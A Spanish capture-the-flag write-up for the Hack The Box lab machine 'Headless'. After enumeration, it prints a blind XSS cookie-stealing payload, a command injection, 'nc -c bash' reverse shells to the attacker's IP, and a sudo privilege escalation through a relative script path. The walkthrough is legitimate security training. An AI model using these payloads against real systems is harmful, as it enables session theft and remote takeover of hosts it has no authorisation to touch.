Headless
OS: Linux
Dificultad: Fácil
Puntos: 20
Nmap Scan
nmap -v -p 22,5000 -sV -sC -oN nmap.txt 10.10.11.8
Nmap scan report for 10.10.11.8
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp
Enumeracion
En la aplicacion web solo hay un formulario y una cookie interesante.
Enumerando directorios encontramos los siguiente.
┌──(root㉿kali)-[~/htb/Headless]
└─# gobuster dir -u http://10.10.11.8:5000/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.8:5000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/dashboard (Status: 500) [Size: 265]
/support (Status: 200) [Size: 2363]
Blind XSS (Steal Cookie)
Despues de varias preubas descubrimos que podemos injectar xss atraves de la cookie. Esto nos permite robar la cookie del admin.
POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: http://10.10.11.8:5000
Connection: close
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=<script>document.location='http://10.10.14.77/?c='+document.cookie</script>
Upgrade-Insecure-Requests: 1
fname=test&lname=test&email=test%40test.com&phone=123214124&message=<script>
Es necesario provocar el error poniendo un string maliciosos en el apartado de message. Si no de otra forma el xss no se ejecutara.
┌──(root㉿kali)-[~/htb/Headless]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [05/Apr/2024 07:11:51] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
Modificamos la cookie en el navegador y ahora podemos acceder.
Blind Command Injection
La aplicacion es vulnerable a command injection.
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://10.10.11.8:5000
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=$(ping -c 1 10.10.14.77)
┌──(root㉿kali)-[~/htb/Headless]
└─# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
07:28:22.063786 IP 10.10.11.8 > 10.10.14.77: ICMP echo request, id 8247, seq 1, length 64
07:28:22.063803 IP 10.10.14.77 > 10.10.11.8: ICMP echo reply, id 8247, seq 1, length 64
Reverse shell.
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://10.10.11.8:5000
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=$(nc -c bash 10.10.14.77 1234)
┌──(root㉿kali)-[~/htb/Headless]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.77] from (UNKNOWN) [10.10.11.8] 56598
id
uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
Escalada de Privilegios
El usuario tiene privilegios sudo.
bash-5.2$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
Si le damos un strings al binario vemos el codigo fuente.
bash-5.2$ strings /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
exit 0
La vulnerabilidad se encuentra en esta parte del codigo.
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
Basicamente pgrep buscara el archivo initdb.sh una vez que lo encuentre lo va ejecutar. Por lo tanto podemos crear el archivo initdb.sh y poner codigo malicioso.
echo "nc -c bash 10.10.14.77 4444" > initdb.sh
chmod +x initdb.sh
Ahora solo ejecutamos el comando sudo.
sudo /usr/bin/syscheck